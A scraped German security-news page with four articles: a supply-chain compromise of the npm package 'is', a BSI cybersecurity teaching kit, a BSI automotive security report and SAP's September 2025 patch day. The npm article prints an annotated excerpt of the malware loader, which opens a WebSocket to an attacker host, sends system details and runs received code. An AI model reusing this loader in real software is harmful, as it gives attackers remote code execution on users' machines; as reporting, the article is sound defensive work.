Connect with us

Datenschutz & Sicherheit

Beliebtes JavaScript-Paket is: Malware durch Supply-Chain-Angriff


Ein Software-Supply-Chain-Angriff hat das beliebte JavaScript-Paket is getroffen, das es auf knapp 2,7 Millionen Downloads pro Woche bringt.

Der Maintainer Jordan Harband schreibt auf Bluesky, dass Angreifer den Account eines anderen Projektverantwortlichen übernommen hatten. Betroffen sind die Versionen 3.3.1 und 5.0.0 des Pakets.

Empfohlener redaktioneller Inhalt

Mit Ihrer Zustimmung wird hier ein externer Inhalt geladen.

Heads up that v3.3.1 of npmjs.com/is has malware in it, due to another maintainer’s account being hijacked. They’re removed for now, v3.3.0 is set at latest, v3.3.1 is deprecated, and a v3.3.2 will be published once I’m not on my phone (thx @github.com codespaces)

[image or embed]

— Jordan Harband (@jordan.har.band) Jul 19, 2025 at 20:21

Beide Versionen waren offenbar nur wenige Stunden im Umlauf. Inzwischen ist auf der npm-Seite die Version 3.3.2 verfügbar, die keinen Schadcode erhält. Als Übergang hatte Harband die neueren Releases für deprecated erklärt und 3.3.0 als letzte aktive Version markiert, damit Prozesse, die automatisch die jüngste Version eines JavaScript-Pakets von npm anfordern, nicht weiter den Schadcode herunterladen.

Bei is handelt es sich um eine Testing-Library, die unter anderem überprüft, ob ein Wert definiert (is.defined), leer (is.empty) oder von einem bestimmten Typ (generell über is.type(value, type) oder speziell als is.integer, is.bool, is.array etc.) ist.


enterJS Web Security Day

enterJS Web Security Day

(Bild: Alexander Supertramp/Shutterstock.com)

Neun von zehn Webanwendungen haben Sicherheitslücken – höchste Zeit für Web Developer, zu handeln. Auf dem ersten enterJS Web Security Day am 9. Oktober 2025 geht es um automatisierte Sicherheitsprüfungen, den Einsatz von Passkeys und den Schutz vor KI-basierten Angriffen.

Plattformübergreifender Malware-Loader an Bord

Offenbar war dieselbe Angreifergruppe erfolgreich, die mit einer Phishing-Attacke zuvor zahlreiche npm-Maintainer getroffen und bereits die Pakete eslint‑config‑prettier, eslint‑plugin‑prettier, synckit@0.11.9, @pkgr/core, napi‑postinstall und got-fetch mit Schadcode versehen hatte.

Der Angriff auf die anderen Pakete zielte mit einer DLL nur auf Windows. Ein Blogartikel auf Invoke RE beschreibt die in dem Paket eslint‑config‑prettier gefundene Scavenger-Malware genauer.

Der Malware-Loader im is-Paket schlägt dagegen plattformübergreifend unter Windows, macOS und Linux zu.

Versteckter Schadcode mit Remote Shell

Ein Blogbeitrag des Security-Softwareunternehmens Socket beschreibt die Arbeitsweise des verschleierten JavaScript-Codes. Der Loader erstellt die Payload demnach vollständig im Speicher des betroffenen Systems und legt den dekodierten Schadcode mittels new Function() als eigene Funktion an.

Diese Funktion fragt schließlich zahlreiche Details wie den Hostnamen, das Betriebssystem, Details zur CPU und Umgebungsvariablen von process.env ab. Schließlich nutzt sie die Library ws, um eine WebSocket-Verbindung aufzubauen und die Daten zu übertragen.

Das Security-Team von Socket hat den entschleierten Schadcode mit Kommentaren versehen, die die Funktionen beschreiben:


// Expose Node's `require`, even in restricted contexts (e.g., Electron)
get "switch"() { return require; }

// Load system and networking modules dynamically
const os = this["switch"]("os");
const WS = this["switch"]("ws");

// Connect to threat actor-controlled WebSocket endpoint
const sock = new WS("wss://");

// Send host fingerprinting data on connect
sock.onopen = () => sock.send(JSON.stringify({
  host: os.hostname(),
  plat: os.platform(),
  cwd : process.cwd()
}));

// Execute threat actor-supplied code received over the socket
sock.onmessage = ({ data }) => {
  new Function(data)();  // remote code execution
};


Im letzten Abschnitt ist erkennbar, dass der Schadcode mit der WebSocket-Verbindung eine Remote Shell aufbaut: Er führt den empfangenen JavaScript-Code direkt über new Function() aus. Der aufgerufene Code hat dieselben Rechte wie der Host-Prozess, sodass er üblicherweise direkten Zugriff aufs Dateisystem und den Netzwerkverkehr hat.

Wer die Library einbindet, sollte sicherstellen, dass keine der infizierten Varianten auf den Rechner gelangt sind. Es ist zudem davon auszugehen, dass die Angreifergruppe weitere JavaScript-Maintainer im Fokus hatte oder hat.


(rme)



Source link

Verwandte Themen:
Weiterlesen

Datenschutz & Sicherheit

BSI: Medienpaket für Lehrkräfte und Eltern zur Cybersicherheits-Bildung


Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat ein Medienpaket mit Arbeitsblättern und Erläuterungen für Heranwachsende, Lehrkräfte und Eltern veröffentlicht. Das Paket soll die Vermittlung grundlegender Cybersicherheitskompetenzen unterstützen und richtet sich vor allem an 10- bis 14-Jährige. Damit es möglichst sorgenfrei von pädagogischem Fachpersonal und Erziehungsberechtigten genutzt werden kann, stehen alle Materialien unter der Lizenz CC BY-NC frei zur Verfügung. Sie dürfen unter Nennung des BSI als Urheber weiterverwendet werden.

Material zu drei Themen

Das Medienpaket soll dazu beitragen, Jugendliche frühzeitig für digitale Risiken zu sensibilisieren und ihnen einen sicheren Umgang mit digitalen Medien vermitteln. Bisher gibt es Arbeitsblätter und Erläuterungen zu drei Themen: 1. Smartphone- und App-Sicherheit, 2. Methoden der Cyberkriminalität und Schadprogramme, und 3. Account-Schutz. Sie können einzeln oder auch als Gesamtpaket heruntergeladen werden. Zu jedem Thema stehen jeweils drei Dokumente zur Verfügung, die für die verschiedenen Zielgruppen verfasst wurden: Arbeitsblätter für Schülerinnen und Schüler, das Begleitmaterial für Pädagoginnen und Pädagogen und das Begleitmaterial für Eltern.

Die Arbeitsblätter verweisen über QR-Codes auf digitale Angebote des BSI – etwa auf weitergehende Informationsseiten des BSI oder Videos. Wollen Lehrkräfte die Arbeitsblätter also im Unterricht nutzen, müssen Schülerinnen und Schüler die Möglichkeit haben, über Endgeräte das Internet nutzen zu können. Dem BSI zufolge sind die Materialien auf die Lebenswelt von 10- bis 14-Jährigen ausgerichtet und didaktisch aufbereitet. In Schulen könnten sie in verschiedensten Unterrichtsfächern eingesetzt werden, eine außerschulische Nutzung in Volkshochschulen oder auch Jugendzentren sei ebenso möglich.


Ausschnitt aus dem Arbeitsblatt "Account-Schutz" des BSI

Ausschnitt aus dem Arbeitsblatt "Account-Schutz" des BSI

Das Arbeitsblatt ist für die interaktive Nutzung gedacht: ohne Endgerät kommen Schülerinnen und Schüler hier nicht weiter.

(Bild: Account-Schutz, Bundesamt für Sicherheit in der Informationstechnik (BSI))

Larissa Hänzgen, Expertin für Verbraucherschutz im BSI, erklärt zur Veröffentlichung des Medienpakets: „Cybersicherheit ist ein grundlegender Bestandteil digitaler Bildung. Unser Ziel ist, Kinder und Jugendliche nicht nur technisch fit, sondern auch sicher durch die digitale Welt zu führen. Mit dem neuen Medienpaket geben wir Lehrkräften ein praxistaugliches und strukturiertes Werkzeug an die Hand, mit dem sie Wissen und Handlungskompetenz im Bereich IT-Sicherheit nachhaltig vermitteln können.“ Für Eltern stehen noch mehr auf sie ausgerichtete Informationsangebote zur Verfügung. Auf einer Webseite für Eltern des BSI wird unter anderem über Jugendschutzeinstellungen, Smart Toys und Cybermobbing informiert.

Präventionsansatz

Wie das BSI erklärt, sind 19 Prozent der 16- bis 22-Jährigen schon einmal von Kriminalität im Internet betroffen gewesen. Das gehe aus dem aktuellen Cybersicherheitsmonitor 2025 hervor. Die 16- bis 22-Jährigen sind dort die jüngste Gruppe der Befragten. Die nun veröffentlichten Informationsangebote des BSI setzen dementsprechend bei Jüngeren an.


(kbe)



Source link

Weiterlesen

Datenschutz & Sicherheit

Automobilsektor: BSI warnt vor rasant wachsenden „digitalen Angriffsflächen“


Das Bundesamt für Sicherheit in der Informationstechnik (BSI) sieht Autos verstärkt als rollende Computer und sorgt sich um deren IT-Security. „Die digitalen Angriffsflächen im Automobilsektor wachsen rasant“, betonte der Vizepräsident der Bonner Behörde, Thomas Caspers, angesichts der Publikation eines Berichts zur Cybersicherheit im Straßenverkehr 2025 im Vorfeld der Automesse IAA in München. Hersteller und Ausrüster in der Branche müssten daher die IT-Sicherheit von vornherein in die Technik einbauen und entsprechende Voreinstellungen treffen („Security by Design and Default“).

Digitale Dienste, Over-the-Air-Updates und vernetzte Steuergeräte prägten zunehmend die Fahrzeugarchitekturen, verdeutlicht das BSI in dem Papier. Zudem nehme der Einsatz von KI in Assistenzsystemen und automatisierten Fahrfunktionen kontinuierlich zu. Das bedeute: Autos würden auf dem Weg zum autonomen Fahren immer vernetzter, Systeme komplexer und die Fortbewegung generell digitaler. Die Absicherung des Automobil-Ökosystems werde damit zur Daueraufgabe.

Laut dem Bericht hat BSI zwischen Februar 2024 und März 2025 insgesamt 107 Meldungen zu IT-Schwachstellen und Vorfällen im Automobilbereich ausgewertet. Für die meisten der Fälle war demnach ein physischer Zugriff oder zumindest eine räumliche Nähe, beispielsweise über Bluetooth oder WLAN, zum Ausnutzen der Sicherheitslücken erforderlich. Es gab aber auch 18 Meldungen, bei denen die Schwachstellen über das Internet zugänglich waren.

Infotainment-Systeme als Einfallstor

Ein Großteil der Meldungen (46 von 59 klassifizierten) basierte auf Sicherheitsanalysen oder Forschungsarbeiten, bei denen die Beteiligten einen Machbarkeitsnachweis („Proof of Concept“) entwickelten. Im Vergleich dazu finde eine aktive Ausnutzung durch Kriminelle gegenwärtig noch eher selten statt, schreibt das BSI. Weitere Bedrohungen ergäben sich indes aus der Option der Einflussnahme durch digitale Produkte, die Herstellern Zugriff auf Informationen und Funktionen ermöglichten.

Vor dem Hintergrund aktueller geopolitischer Konfliktlagen vergrößerten komplizierte Lieferketten die Gefahren, heißt es. Ferner seien mit neuartigen Angriffsmöglichkeiten auf KI-Komponenten und Fahrzeugsensorik durch manipulative Eingaben auch Risiken verbunden. Angesichts der üblicherweise langen Lebenszyklen sowohl von Fahrzeugen als auch der Verkehrsinfrastruktur stelle zudem die Migration auf quantenresistente kryptografische Verfahren eine wichtige Aufgabe dar.

Beliebtes Ziel für Angriffe sind dem Report zufolge Infotainment-Systeme aufgrund ihrer vielen Schnittstellen und Vernetzungsfunktionen. Sicherheitsforscher hätten gezeigt, wie sie zwölf Schwachstellen in den Systemen eines tschechischen Herstellers kombinierten, um über Bluetooth Malware zu installieren. So konnten sie etwa die Position des Fahrzeugs verfolgen und Gespräche aufzeichnen. Betroffen waren laut Schätzungen etwa 1,4 Millionen Fahrzeuge.

Fahrzeugdaten offen im Netz

Eine ähnliche Attacke auf ein Infotainment-System eines japanischen Herstellers befähigte Angreifer laut den Autoren, sich nach dem initialen Zugriff über Bluetooth auch jederzeit über Mobilfunk auf die ganze Apparatur aufzuschalten. Dies hätte es ihnen ermöglicht, den Fahrer abzuhören, die GPS-Position zu verfolgen oder sogar Fahrzeugfunktionen wie die Lenkung zu kontrollieren. Ferner seien in der QNX-Software, die in Infotainment-Systemen von Herstellern wie BMW, Volkswagen und Audi integriert ist, kritische Schwachstellen entdeckt worden. Eine habe das Ausführen von Programmcode aus der Ferne erlaubt.

Die Behörde erinnert daran, der Chaos Computer Club (CCC) habe aufgedeckt, dass Terabyte an Positionsdaten von E-Fahrzeugen von VW durch einen Konfigurationsfehler ungeschützt über das Internet einsehbar waren. Informationen von rund 800.000 Fahrzeugen und 600.000 Kunden, einschließlich Namen und Adressen, seien betroffen gewesen. Ein Experte habe zudem Sicherheitslücken in einem Web-Portal eines japanischen Herstellers gefunden, die ihm den Zugriff auf Standortdaten von Fahrzeugen in Nordamerika und Japan ermöglichten. Es wäre ihm sogar möglich gewesen, über das Portal fremde Autos zu starten oder zu öffnen.

Die NIS2 getaufte EU-Richtlinie zur Netzwerk- und Informationssicherheit bringe neue gesetzliche Auflagen für viele Unternehmen in der Automobilbranche mit, unterstreicht das BSI. Dazu gehörten eine Registrierungspflicht und die Meldung erheblicher Sicherheitsvorfälle an das Amt. In der Branche sei ein Mentalitätswandel nötig, um das Teilen von Informationen über Schwachstellen zu fördern und die Cybersicherheit als Qualitätsmerkmal zu betrachten.


(cku)



Source link

Weiterlesen

Datenschutz & Sicherheit

SAP-Patchday September 2025 behebt mehr als zwanzig Lücken – vier HotNews


SAP hat in der neunten Ausgabe seines diesjährigen Sicherheits-Patchdays einundzwanzig neue Sicherheitslücken behoben und stuft vier der Lücken als „HotNews“, also besonders kritisch, ein. Administratoren und Managed-Service-Provider sollten schnell reagieren.

Immer wieder unsichere Deserialisierung

Die vier HotNews beziehen sich auf:

  • Eine unsichere Deserialisierung in Netweaver RMI-P4 erhält die Höchstwertung von 10,0 CVSS-Punkten (Schweregrad: kritisch) und die CVE-ID CVE-2025-42944. Die Lücke kann zum Einschleusen beliebigen Codes missbraucht werden.
  • In SAP Netweaver AS Java werden Dateien auf unsichere Art behandelt – CVE-2025-42922 (CVSS 9.9, kritisch) ermöglicht einem SAP-Nutzer den Upload beliebiger Dateien und deren Ausführung.
  • Bei der dritten HotNews handelt es sich um ein Update einer bereits im März 2023, damals aber offenbar unvollständig behandelten Lücke mit einer CVSS-Wertung von 9.6 (kritisch), der CVE-ID CVE-2023-27500 und für SAP Netweaver AS for ABAP and ABAP Platform.
  • Auf immerhin 9,1 Punkte und damit ebenfalls eine kritische Wertung kommt CVE-2025-42958, eine fehlende Authentifizierungsprüfung in SAP Netweaver auf IBM i-series. Sie ist nur durch angemeldete Nutzer ausnutzbar.

Weitere Sicherheitsflicken aus dem Hause SAP gibt es für SAP Commerce Cloud, Datahub, HCM, BusinessObjects, Fiori und weitere Produkte des Softwarekonzerns. Immerhin liefert dieser interessierten Dritten eine Übersicht der behobenen Probleme – für Details und Patches benötigen Betroffene jedoch ein SAP-Konto.

Erst kürzlich waren aktive Angriffe auf eine kritische S/4HANA-Schwachstelle bekannt geworden, unter unsicherer Deserialisierung litt hingegen ein bekanntes Produkt von Mitbewerber Microsoft. Der Sharepoint-Exploit „ToolShell“ sorgte im vergangenen Juli für Aufregung und wirkt bis heute nach – etwa durch ein Datenleck bei Infoniqa.


(cku)



Source link

Weiterlesen

Beliebt